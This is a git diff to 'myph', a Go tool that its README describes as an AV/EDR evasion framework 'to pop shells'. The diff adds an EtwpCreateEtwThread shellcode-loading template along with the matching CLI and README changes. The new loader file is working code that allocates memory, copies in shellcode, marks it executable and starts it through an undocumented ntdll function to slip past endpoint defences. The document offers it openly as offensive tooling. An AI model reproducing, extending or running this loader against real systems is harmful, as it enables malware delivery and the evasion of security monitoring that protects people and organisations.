diff --git a/README.md b/README.md
@@ -39,6 +39,29 @@ go install github.com/cmepw/myph@latest
### Usage
```
+
+ ... -==[ M Y P H ]==-
+ ;::::;
+ ;::::; :; In loving memory of
+ ;:::::' :; Wassyl Iaroslavovytch Slipak
+ ;:::::; ;.
+ ,:::::' ; OOO (1974 - 2016)
+ ::::::; ; OOOOO
+ ;:::::; ; OOOOOOOO
+ ,;::::::; ;' / OOOOOOO
+ ;::::::::: . ,,,;. / / DOOOOOO
+ .';:::::::::::::::::;, / / DOOOO
+ ,::::::;::::::;;;;::::;, / / DOOO AV / EDR evasion framework
+; :::::: '::::::;;;::::: ,#/ / DOOO to pop shells and
+: ::::::: ;::::::;;::: ;::# / DOOO make the blue team cry
+:: ::::::: ;:::::::: ;::::# / DOO
+ : ::::::: ;:::::: ;::::::#/ DOO
+ ::: ::::::: ;; ;:::::::::## OO written with <3 by djnn
+ :::: ::::::: ;::::::::;:::# OO ------
+ ::::: ::::::::::::;' :;::# O https://djnn.sh
+ ::::: ::::::::; / / :#
+ :::::: :::::; / / #
+
Usage:
myph [flags]
myph [command]
@@ -56,7 +79,7 @@ Flags:
-p, --process string target process to inject shellcode to (default "cmd.exe")
-s, --shellcode string shellcode path (default "msf.raw")
--sleep-time uint sleep time in seconds before executing loader (default: 0)
- -t, --technique string shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, Syscall) (default "CRT")
+ -t, --technique string shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, Syscall, Etwp) (default "CRT")
-v, --version version for myph
Use "myph [command] --help" for more information about a command.
@@ -70,6 +93,7 @@ This tool supports few methods for now, but aims to add more as time goes on:
- CreateThread
- Process hollowing
- CreateRemoteThread
+- EtwpCreateEtwThread
- CreateRemoteThreadEx
If you don't know what that is about, go check out [this repository](https://github.com/CMEPW/BypassAV) :)~
diff --git a/TODO.txt b/TODO.txt
@@ -2,11 +2,8 @@
####### ROADMAP 1.2.0 #######
#############################
-Templates:
- - EtwpCreateEtwThread
-
Misc:
- - support for loading modules from PEB
+ - support for loading API calls from PEB
- Research indirect syscalls
- Refactoring CLI options to interfaces
- Decrypt shellcode at the last possible time & split templates into trigger & prepare-payload functions
diff --git a/cli/parser.go b/cli/parser.go
@@ -271,7 +271,7 @@ func GetParser(opts *Options) *cobra.Command {
rootCmd.Flags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
- rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, Syscall)")
+ rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, Syscall, Etwp)")
rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
diff --git a/cli/types.go b/cli/types.go
@@ -16,6 +16,7 @@ const (
CRT technique = "CRT"
CRTx technique = "CRTx"
+ ETWP technique = "Etwp"
SYSCALL technique = "Syscall"
CreateFiber technique = "CreateFiber"
CreateThread technique = "CreateThread"
@@ -51,11 +52,11 @@ func (e *technique) String() string {
// Set must have pointer receiver so it doesn't change the value of a copy
func (e *technique) Set(v string) error {
switch v {
- case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx":
+ case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx", "Etwp":
*e = technique(v)
return nil
default:
- return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
+ return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"Etwp\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
}
}
diff --git a/loaders/etwpCreateEtwThread.go b/loaders/etwpCreateEtwThread.go
@@ -0,0 +1,73 @@
+package loaders
+
+import (
+ "fmt"
+)
+
+func GetEtwpCreateEtwThreadTemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ return fmt.Sprintf(`
+package main
+
+import (
+ "syscall"
+ "unsafe"
+)
+
+
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_READWRITE = 0x4
+ PAGE_EXECUTE_READ = 0x20
+ PAGE_EXECUTE_READWRITE = 0x40
+ CREATE_SUSPENDED = 0x4
+ CREATE_NO_WINDOW = 0x8000000
+)
+
+var (
+ kernel32 = syscall.MustLoadDLL("kernel32.dll")
+ ntdll = syscall.MustLoadDLL("ntdll.dll")
+
+ RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
+ EtwpCreateEtwThread = ntdll.MustFindProc("EtwpCreateEtwThread")
+
+ VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
+ VirtualProtect = kernel32.MustFindProc("VirtualProtect")
+ WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
+)
+
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+ /* allocating the appropriate amount of memory */
+ baseAddr, _, err := VirtualAlloc.Call(
+ 0,
+ uintptr(len(shellcode)),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ ); if baseAddr == 0 {
+ panic(err)
+ }
+
+ /* copying the shellcode to memory */
+ _, _, _ = RtlCopyMemory.Call(
+ baseAddr,
+ (uintptr)(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ )
+
+ /* changing permissions for our memory segment */
+ oldProtectCfg := PAGE_READWRITE
+ _, _, _ = VirtualProtect.Call(
+ baseAddr,
+ uintptr(len(shellcode)),
+ PAGE_EXECUTE_READ,
+ uintptr(unsafe.Pointer(&oldProtectCfg)),
+ )
+
+ threadId, _, err := EtwpCreateEtwThread.Call(baseAddr, uintptr(0))
+ WaitForSingleObject.Call(threadId, 0xFFFFFFFF)
+}
+`)
+}
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -27,6 +27,9 @@ func SelectTemplate(templateName string) func(string) string {
case "CreateFiber":
return GetCreateFiberTemplate
+ case "Etwp":
+ return GetEtwpCreateEtwThreadTemplate
+
}
return nil
| | | | | |